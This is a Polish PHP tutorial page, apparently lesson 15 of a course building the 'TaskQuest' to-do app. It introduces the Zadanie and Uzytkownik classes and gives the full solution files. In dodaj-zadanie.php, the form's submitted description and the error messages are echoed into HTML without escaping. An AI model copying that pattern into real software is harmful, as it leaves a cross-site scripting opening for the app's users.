<p class="wp-block-paragraph">PHP w domyślnym trybie <strong>zamienia</strong> wartości, gdy się da: tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">'7'</code> na liczbę <code class="prettyprint lang-sql" style="font-size: 0.85em;">7</code>, niepusty tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">'nie'</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> (jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> z sekcji 2). Odrzuca tylko to, czego zamienić się nie da (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'siedem'</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>). Wniosek: typy właściwości i parametrów bardzo pomagają, ale <strong>nie zastępują walidacji</strong>. Dlatego dane z pliku nadal przechodzą przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>, dane z formularza — przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>, a konwersje (<code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">=== '1'</code>) robimy jawnie, zanim powstanie obiekt.</p>



<h1 class="wp-block-heading">9. ROZWIĄZANIE </h1>



<p class="wp-block-paragraph">Pełny kod TaskQuest po Lekcji 15. Nowe: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>. Zmienione: <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>. <strong>Bez zmian względem Lekcji 14:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_grywalizacji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_terminow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_diagnostyczne.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

class Zadanie
{
    private int $id;
    private string $tytul;
    private string $opis;
    private string $termin;
    private bool $wykonane;
    private int $xp;

    public function __construct(
        int $id,
        string $tytul,
        string $opis,
        string $termin,
        bool $wykonane,
        int $xp
    ) {
        $this-&gt;id = $id;
        $this-&gt;tytul = $tytul;
        $this-&gt;opis = $opis;
        $this-&gt;termin = $termin;
        $this-&gt;wykonane = $wykonane;
        $this-&gt;xp = $xp;
    }

    public function pobierzId(): int
    {
        return $this-&gt;id;
    }

    public function pobierzTytul(): string
    {
        return $this-&gt;tytul;
    }

    public function pobierzOpis(): string
    {
        return $this-&gt;opis;
    }

    public function pobierzTermin(): string
    {
        return $this-&gt;termin;
    }

    public function czyWykonane(): bool
    {
        return $this-&gt;wykonane;
    }

    public function pobierzXp(): int
    {
        return $this-&gt;xp;
    }

    public function oznaczJakoWykonane(): void
    {
        $this-&gt;wykonane = true;
    }

    public function czyPoTerminie(): bool
    {
        if ($this-&gt;wykonane) {
            return false;
        }

        $dzisiaj = new DateTime('today');
        $termin = new DateTime($this-&gt;termin);

        return $termin &lt; $dzisiaj;
    }
}
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Metody korzystają z funkcji z includes/funkcje_grywalizacji.php i includes/funkcje_terminow.php
// (oraz stałej XP_NA_POZIOM) — strona, która tworzy obiekt Uzytkownik, musi je dołączyć.

class Uzytkownik
{
    private string $login;
    private string $imieUzytkownika;
    private int $xp;
    private int $streak;
    private string $dataOstatniejAktywnosci;

    public function __construct(
        string $login,
        string $imieUzytkownika,
        int $xp,
        int $streak,
        string $dataOstatniejAktywnosci
    ) {
        $this-&gt;login = $login;
        $this-&gt;imieUzytkownika = $imieUzytkownika;
        $this-&gt;xp = $xp;
        $this-&gt;streak = $streak;
        $this-&gt;dataOstatniejAktywnosci = $dataOstatniejAktywnosci;
    }

    public function pobierzLogin(): string
    {
        return $this-&gt;login;
    }

    public function pobierzImie(): string
    {
        return $this-&gt;imieUzytkownika;
    }

    public function pobierzXp(): int
    {
        return $this-&gt;xp;
    }

    public function pobierzStreak(): int
    {
        return $this-&gt;streak;
    }

    public function pobierzPoziom(): int
    {
        return obliczPoziom($this-&gt;xp);
    }

    public function pobierzTytulGracza(): string
    {
        return pobierzTytul($this-&gt;pobierzPoziom());
    }

    public function pobierzXpWAktualnymPoziomie(): int
    {
        return obliczXpWAktualnymPoziomie($this-&gt;xp, $this-&gt;pobierzPoziom());
    }

    public function pobierzProcentPostepu(): float
    {
        return obliczProcentPostepu($this-&gt;pobierzXpWAktualnymPoziomie());
    }

    public function pobierzBrakujaceXp(): int
    {
        return ileBrakujeXp($this-&gt;xp, $this-&gt;pobierzPoziom());
    }

    public function dodajXp(int $xp): void
    {
        if ($xp &lt;= 0) {
            throw new Exception('Liczba XP do dodania musi być większa od zera.');
        }

        $this-&gt;xp += $xp;
    }

    public function aktualizujStreak(bool $zadanieWykonane): void
    {
        $this-&gt;streak = aktualizujStreak($this-&gt;streak, $this-&gt;dataOstatniejAktywnosci, $zadanieWykonane);
    }
}
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code></h2>



<p class="wp-block-paragraph">Pięć funkcji po zmianie (jeśli Twoje funkcje z Lekcji 9 i 13 są zapisane inaczej, np. funkcją strzałkową, zmieniają się w nich tylko odwołania z tabeli w kroku 3). <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> — bez zmian.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

function pobierzWykonaneZadania(array $zadania): array
{
    return array_filter($zadania, function ($zadanie) {
        return $zadanie-&gt;czyWykonane();
    });
}


function pobierzAktywneZadania(array $zadania): array
{
    return array_filter($zadania, function ($zadanie) {
        return !$zadanie-&gt;czyWykonane();
    });
}


function sumujXp(array $zadania): int
{
    $suma = 0;

    foreach ($zadania as $zadanie) {
        $suma += $zadanie-&gt;pobierzXp();
    }

    return $suma;
}


function sortujPoTerminie(array $zadania): array
{
    usort($zadania, function ($a, $b) {
        return $a-&gt;pobierzTermin() &lt;=&gt; $b-&gt;pobierzTermin();
    });

    return $zadania;
}


function nastepneIdZadania(array $zadania): int
{
    $najwiekszeId = 0;

    foreach ($zadania as $zadanie) {
        if ($zadanie-&gt;pobierzId() &gt; $najwiekszeId) {
            $najwiekszeId = $zadanie-&gt;pobierzId();
        }
    }

    return $najwiekszeId + 1;
}

// ... walidujNoweZadanie() — bez zmian względem Lekcji 13 ...
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code></h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code> — bez zmian. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> zmieniają się tylko fragmenty pokazane niżej; sprawdzanie pliku, wyjątki, <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>, nagłówek CSV i końcówka <code class="prettyprint lang-sql" style="font-size: 0.85em;">';', '"', ''</code> — bez zmian.</p>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> — zadanie powstaje jako obiekt:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            $zadania&#91;] = new Zadanie(
                id: (int) $wiersz&#91;0],
                tytul: $wiersz&#91;1],
                opis: $wiersz&#91;2],
                termin: $wiersz&#91;3],
                wykonane: $wiersz&#91;4] === '1',
                xp: (int) $wiersz&#91;5]
            );
</code></pre>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> — wiersz CSV dla jednego zadania:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        fputcsv($plik, &#91;
            $zadanie-&gt;pobierzId(),
            $zadanie-&gt;pobierzTytul(),
            $zadanie-&gt;pobierzOpis(),
            $zadanie-&gt;pobierzTermin(),
            $zadanie-&gt;czyWykonane() ? 1 : 0,
            $zadanie-&gt;pobierzXp()
        ], ';', '"', '');
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- dane nowego zadania (na start puste — formularz jeszcze nie został wysłany) ---
$tytulZadania = '';
$opisZadania = '';
$terminZadania = '';
$xpZadania = '';

$bledy = &#91;];
$bladZapisu = null;


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $tytulZadania = wyczyscTytul($_POST&#91;'tytul'] ?? '');
    $opisZadania = trim(preg_replace('/\s+/', ' ', $_POST&#91;'opis'] ?? ''));
    $terminZadania = trim($_POST&#91;'termin'] ?? '');
    $xpZadania = trim($_POST&#91;'xp'] ?? '');

    $bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);

    if (count($bledy) === 0) {
        try {
            $zadania = wczytajZadania(PLIK_ZADAN);

            $zadania&#91;] = new Zadanie(
                id: nastepneIdZadania($zadania),
                tytul: $tytulZadania,
                opis: $opisZadania,
                termin: $terminZadania,
                wykonane: false,
                xp: (int) $xpZadania
            );

            zapiszZadania(PLIK_ZADAN, $zadania);

            ustawKomunikat('Zadanie zostało dodane.');
            header('Location: index.php');
            exit;
        } catch (Exception $wyjatek) {
            $bladZapisu = $wyjatek-&gt;getMessage();
        }
    }
}


// --- prezentacja ---
$nazwaStrony = 'Dodaj zadanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;h2&gt;Nowe zadanie&lt;/h2&gt;
        &lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;

        &lt;?php if (count($bledy) &gt; 0) { ?&gt;
        &lt;div class="blad"&gt;
            &lt;p&gt;Popraw formularz:&lt;/p&gt;
            &lt;ul&gt;
                &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
                &lt;?php } ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
        &lt;?php } ?&gt;

        &lt;?php if ($bladZapisu !== null) { ?&gt;
        &lt;p class="blad"&gt;Nie udało się dodać zadania: &lt;?= $bladZapisu; ?&gt;&lt;/p&gt;
        &lt;?php } ?&gt;

        &lt;form method="post" action="dodaj-zadanie.php"&gt;
            &lt;label for="tytul"&gt;Tytuł *&lt;/label&gt;
            &lt;input type="text" id="tytul" name="tytul" maxlength="100" required value="&lt;?= $tytulZadania; ?&gt;"&gt;

            &lt;label for="opis"&gt;Opis&lt;/label&gt;
            &lt;textarea id="opis" name="opis" rows="3" maxlength="300"&gt;&lt;?= $opisZadania; ?&gt;&lt;/textarea&gt;

            &lt;label for="termin"&gt;Termin *&lt;/label&gt;
            &lt;input type="date" id="termin" name="termin" required value="&lt;?= $terminZadania; ?&gt;"&gt;

            &lt;label for="xp"&gt;Nagroda XP (1–100) *&lt;/label&gt;
            &lt;input type="number" id="xp" name="xp" min="1" max="100" required value="&lt;?= $xpZadania; ?&gt;"&gt;

            &lt;button type="submit"&gt;Dodaj zadanie&lt;/button&gt;
        &lt;/form&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- użytkownik: dane z sesji + symulowane dane grywalizacji ---
$uzytkownik = new Uzytkownik(
    login: $_SESSION&#91;'login'],
    imieUzytkownika: $_SESSION&#91;'imie'],
    xp: 99,
    streak: 5,
    dataOstatniejAktywnosci: '2026-09-14'
);


// --- dane zadań (z pliku CSV — tablica obiektów Zadanie) ---
$zadania = &#91;];
$bladZadan = null;

try {
    $zadania = wczytajZadania(PLIK_ZADAN);
} catch (Exception $wyjatek) {
    $bladZadan = $wyjatek-&gt;getMessage();
}


// --- wywołania metod: grywalizacja ---
$poziom = $uzytkownik-&gt;pobierzPoziom();
$tytul = $uzytkownik-&gt;pobierzTytulGracza();
$xpWAktualnymPoziomie = $uzytkownik-&gt;pobierzXpWAktualnymPoziomie();
$procentPostepu = $uzytkownik-&gt;pobierzProcentPostepu();
$brakujeXp = $uzytkownik-&gt;pobierzBrakujaceXp();

//pasek postępu
$liczbaAktywnychSegmentow = (int) ($procentPostepu / 10);
$progNastepnegoPoziomu = $poziom * XP_NA_POZIOM;


// --- wywołania funkcji: lista zadań ---
$wykonaneZadania = pobierzWykonaneZadania($zadania);
$aktywneZadania = pobierzAktywneZadania($zadania);

$liczbaWszystkich = count($zadania);
$liczbaWykonanych = count($wykonaneZadania);
$liczbaAktywnych = count($aktywneZadania);

$xpDoZdobycia = sumujXp($aktywneZadania);

$zadaniaWgTerminu = sortujPoTerminie($zadania);
$aktywneWgTerminu = sortujPoTerminie($aktywneZadania);
$wykonaneWgTerminu = sortujPoTerminie($wykonaneZadania);

// uproszczenie (symulacja): aktywność = wykonane jakiekolwiek zadanie z listy
$zadanieWykonane = $liczbaWykonanych &gt; 0;

$uzytkownik-&gt;aktualizujStreak($zadanieWykonane);


// --- widok listy: z adresu strony (GET) albo zapamiętany w ciasteczku ---
$filtr = $_GET&#91;'filtr'] ?? $_COOKIE&#91;'filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' &amp;&amp; $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (isset($_GET&#91;'filtr'])) {
    setcookie('filtr', $filtr, time() + CZAS_PAMIETANIA_WIDOKU);
}

$zadaniaDoWyswietlenia = match ($filtr) {
    'wszystkie' =&gt; $zadaniaWgTerminu,
    'aktywne' =&gt; $aktywneWgTerminu,
    'wykonane' =&gt; $wykonaneWgTerminu
};


// --- komunikat jednorazowy (z sesji) ---
$komunikat = pobierzKomunikat();


// --- prezentacja ---
$nazwaStrony = 'TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;?php if ($komunikat !== '') { ?&gt;
        &lt;p class="sukces"&gt;&lt;?= $komunikat; ?&gt;&lt;/p&gt;
        &lt;?php } ?&gt;

        &lt;p&gt;Zdobywaj punkty za wykonane zadania!&lt;/p&gt;

        &lt;p&gt;Zalogowano jako &lt;strong&gt;&lt;?= $uzytkownik-&gt;pobierzLogin(); ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;form method="post" action="wyloguj.php"&gt;
            &lt;button type="submit"&gt;Wyloguj&lt;/button&gt;
        &lt;/form&gt;

        &lt;h2&gt;Witaj, &lt;?= $uzytkownik-&gt;pobierzImie(); ?&gt;!&lt;/h2&gt;

        &lt;p&gt;Poziom: &lt;strong&gt;&lt;?= $poziom; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Tytuł: &lt;strong&gt;&lt;?= $tytul; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Łączne XP: &lt;strong&gt;&lt;?= $uzytkownik-&gt;pobierzXp(); ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;h3&gt;
            &lt;?= "Masz $xpWAktualnymPoziomie XP z " . XP_NA_POZIOM . " XP potrzebnych do poziomu " . ($poziom + 1) . " (" . round($procentPostepu, 2) . "%)"; ?&gt;
        &lt;/h3&gt;

        &lt;div class="pasek-xp"&gt;
            &lt;?php
            for ($segment = 1; $segment &lt;= 10; $segment++) {
                if ($segment &lt;= $liczbaAktywnychSegmentow) {
                    echo "█";
                } else {
                    echo "░";
                }
            }
            ?&gt;
        &lt;/div&gt;

        &lt;p&gt;Kolejny próg: &lt;?= $progNastepnegoPoziomu; ?&gt; XP&lt;/p&gt;
        &lt;p&gt;Brakuje XP: &lt;strong&gt;&lt;?= $brakujeXp; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Streak: &lt;strong&gt;&lt;?= $uzytkownik-&gt;pobierzStreak(); ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;h2&gt;Twoje zadania&lt;/h2&gt;

        &lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;

        &lt;?php if ($bladZadan !== null) { ?&gt;
        &lt;p class="blad"&gt;Nie udało się wczytać zadań: &lt;?= $bladZadan; ?&gt;&lt;/p&gt;
        &lt;?php } else { ?&gt;

        &lt;p&gt;
            Wszystkie: &lt;strong&gt;&lt;?= $liczbaWszystkich; ?&gt;&lt;/strong&gt; |
            Wykonane: &lt;strong&gt;&lt;?= $liczbaWykonanych; ?&gt;&lt;/strong&gt; |
            Aktywne: &lt;strong&gt;&lt;?= $liczbaAktywnych; ?&gt;&lt;/strong&gt;
        &lt;/p&gt;
        &lt;p&gt;XP do zdobycia z aktywnych zadań: &lt;strong&gt;&lt;?= $xpDoZdobycia; ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;?php
        if ($liczbaWszystkich === 0) {
            echo "&lt;p&gt;Brak zadań.&lt;/p&gt;";
        } elseif ($liczbaAktywnych === 0) {
            echo "&lt;p&gt;Wszystkie zadania wykonane — świetna robota!&lt;/p&gt;";
        } else {
            if ($xpDoZdobycia &gt;= $brakujeXp) {
                echo "&lt;p class=\"awans\"&gt;Wykonując aktywne zadania, awansujesz na poziom " . ($poziom + 1) . "!&lt;/p&gt;";
            } else {
                echo "&lt;p&gt;Aktywne zadania nie wystarczą jeszcze na awans — brakuje " . ($brakujeXp - $xpDoZdobycia) . " XP.&lt;/p&gt;";
            }

            $najpilniejsze = $aktywneWgTerminu&#91;0];
            echo "&lt;p&gt;Najpilniejsze zadanie: &lt;strong&gt;" . wyczyscTytul($najpilniejsze-&gt;pobierzTytul()) . "&lt;/strong&gt; — "
                . komunikatTerminu($najpilniejsze-&gt;pobierzTermin()) . "&lt;/p&gt;";
        }

        echo "&lt;h3&gt;Lista zadań (wg terminu)&lt;/h3&gt;";
        echo "&lt;p&gt;Pokaż: &lt;a href=\"index.php?filtr=wszystkie\"&gt;wszystkie&lt;/a&gt; | "
            . "&lt;a href=\"index.php?filtr=aktywne\"&gt;aktywne&lt;/a&gt; | "
            . "&lt;a href=\"index.php?filtr=wykonane\"&gt;wykonane&lt;/a&gt;&lt;/p&gt;";
        echo "&lt;p&gt;Widok: &lt;strong&gt;$filtr&lt;/strong&gt;&lt;/p&gt;";

        if ($liczbaWszystkich &gt; 0 &amp;&amp; count($zadaniaDoWyswietlenia) === 0) {
            echo "&lt;p&gt;Brak zadań w tym widoku.&lt;/p&gt;";
        }

        foreach ($zadaniaDoWyswietlenia as $zadanie) {
            $tytulCzysty = wyczyscTytul($zadanie-&gt;pobierzTytul());
            $znacznik = $zadanie-&gt;czyWykonane() ? "&#91;X]" : "&#91; ]";
            $klasa = $zadanie-&gt;czyWykonane() ? "zadanie wykonane" : "zadanie";

            if ($zadanie-&gt;czyPoTerminie()) {
                $klasa = "zadanie po-terminie";
            }

            echo "&lt;div class=\"$klasa\"&gt;";
            echo "&lt;p&gt;&lt;strong&gt;$znacznik $tytulCzysty&lt;/strong&gt; — " . $zadanie-&gt;pobierzXp() . " XP&lt;/p&gt;";
            echo "&lt;p&gt;" . skrocOpis($zadanie-&gt;pobierzOpis(), 50) . "&lt;/p&gt;";
            echo "&lt;p&gt;Termin: " . $zadanie-&gt;pobierzTermin();

            if (!$zadanie-&gt;czyWykonane()) {
                echo " — " . komunikatTerminu($zadanie-&gt;pobierzTermin());
            }

            echo "&lt;/p&gt;";

            if (stripos($tytulCzysty, 'PHP') !== false) {
                echo "&lt;p&gt;To zadanie dotyczy PHP.&lt;/p&gt;";
            }

            echo "&lt;/div&gt;";
        }
        ?&gt;
        &lt;?php } ?&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code></h2>



<p class="wp-block-paragraph">Jedyna zmiana: w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code>, pod regułą <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sukces</code>, dochodzi:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">.zadanie.po-terminie { border: 2px solid #c0392b; }
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.5&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">Dwie zmiany: w tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dochodzą <code class="prettyprint lang-sql" style="font-size: 0.85em;">'classes/Zadanie.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'classes/Uzytkownik.php'</code> (razem <strong>17</strong> ścieżek), a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$katalogiDoPrzegladu</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">['config', 'includes', 'classes']</code>. Reszta pliku bez zmian — nadal bez sesji i bez dołączania klas czy funkcji aplikacji (ma działać nawet przy zepsutym projekcie).</p>
</details>



<h1 class="wp-block-heading">10. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom, $tytul, $xpWAktualnymPoziomie, $procentPostepu, $brakujeXp   // te same nazwy — wartości z metod obiektu $uzytkownik
$liczbaAktywnychSegmentow, $progNastepnegoPoziomu, $zadanieWykonane
$zadania, $bladZadan, $wykonaneZadania, $aktywneZadania, $liczbaWszystkich, $liczbaWykonanych,
$liczbaAktywnych, $zadaniaWgTerminu, $aktywneWgTerminu, $wykonaneWgTerminu, $xpDoZdobycia   // tablice — teraz z obiektami Zadanie
$filtr, $zadaniaDoWyswietlenia, $komunikat, $nazwaStrony
// dodaj-zadanie.php: $tytulZadania, $opisZadania, $terminZadania, $xpZadania, $bledy, $bladZapisu
// zaloguj.php: $login, $imieUzytkownika (dane z formularza — bez zmian)
define('XP_NA_POZIOM', ...), define('PLIK_ZADAN', ...), define('CZAS_PAMIETANIA_WIDOKU', ...)

wszystkie funkcje z Lekcji 1–14 (kod bez zmian poza odwołaniami do danych zadania w funkcje_zadan.php i funkcje_plikow.php)
format data/zadania.csv, sesja (login, imie, komunikat), cookie filtr, obsługa awarii pliku, walidacja formularzy</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// classes/Zadanie.php (nowy plik, nowy katalog classes/)
class Zadanie
    // właściwości private: $id, $tytul, $opis, $termin, $wykonane, $xp
    __construct(int $id, string $tytul, string $opis, string $termin, bool $wykonane, int $xp)
    pobierzId(), pobierzTytul(), pobierzOpis(), pobierzTermin(), czyWykonane(), pobierzXp()
    oznaczJakoWykonane()      // jedyny sposób zmiany stanu zadania
    czyPoTerminie()           // niewykonane i termin przed dzisiaj

// classes/Uzytkownik.php (nowy plik)
class Uzytkownik
    // właściwości private: $login, $imieUzytkownika, $xp, $streak, $dataOstatniejAktywnosci
    __construct(string $login, string $imieUzytkownika, int $xp, int $streak, string $dataOstatniejAktywnosci)
    pobierzLogin(), pobierzImie(), pobierzXp(), pobierzStreak()
    pobierzPoziom(), pobierzTytulGracza(), pobierzXpWAktualnymPoziomie(), pobierzProcentPostepu(), pobierzBrakujaceXp()
                              // wywołują funkcje z funkcje_grywalizacji.php
    dodajXp(int $xp)          // tylko dodatnie XP, inaczej Exception
    aktualizujStreak(bool $zadanieWykonane)   // wywołuje funkcję aktualizujStreak() i zapisuje wynik w obiekcie

// index.php
$uzytkownik               // obiekt Uzytkownik (dane z sesji + symulowane XP/streak/data)

// includes/header.php: styl .zadanie.po-terminie</code></pre>



<p class="wp-block-paragraph">Nowe narzędzia PHP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">class</code>, właściwości z typami, <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;</code>, metody, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">__construct</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>, argumenty nazwane (<code class="prettyprint lang-sql" style="font-size: 0.85em;">nazwa: wartość</code>), porównywanie obiektów <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> operatorem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;</code>.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> zwraca tablicę obiektów <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> odczytuje dane metodami (format pliku bez zmian),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>: w pięciu funkcjach <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['...']</code> → metody (logika bez zmian),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: dołączone klasy; obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code>; grywalizacja liczona metodami; streak aktualizowany metodą; lista zadań i najpilniejsze zadanie czytane metodami; klasa CSS <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadanie po-terminie</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>: dołączona klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, nowe zadanie tworzone przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(...)</code>,</li>



